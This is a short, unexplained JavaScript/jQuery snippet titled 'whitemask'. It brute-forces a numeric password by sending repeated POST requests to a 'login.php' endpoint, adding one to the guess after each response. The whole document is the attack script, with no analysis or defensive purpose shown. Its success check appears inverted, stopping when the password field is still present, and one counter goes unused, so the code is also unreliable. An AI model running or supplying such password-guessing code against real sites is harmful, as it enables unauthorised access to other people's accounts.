whitemask

var i = 6490,
     password = 1751,
     success = false,
     aclp = {
                  url: "login.php",
                  type: "POST",
                  data: {'password': password},
          success: function(data) {
               if ( data.match(/input type="password"/gi) ) return success = true;     /* проверяем*/
               password++;
               i++;
               acl();
          } 
     }; 

function acl () {
      $.ajax(aclp);
};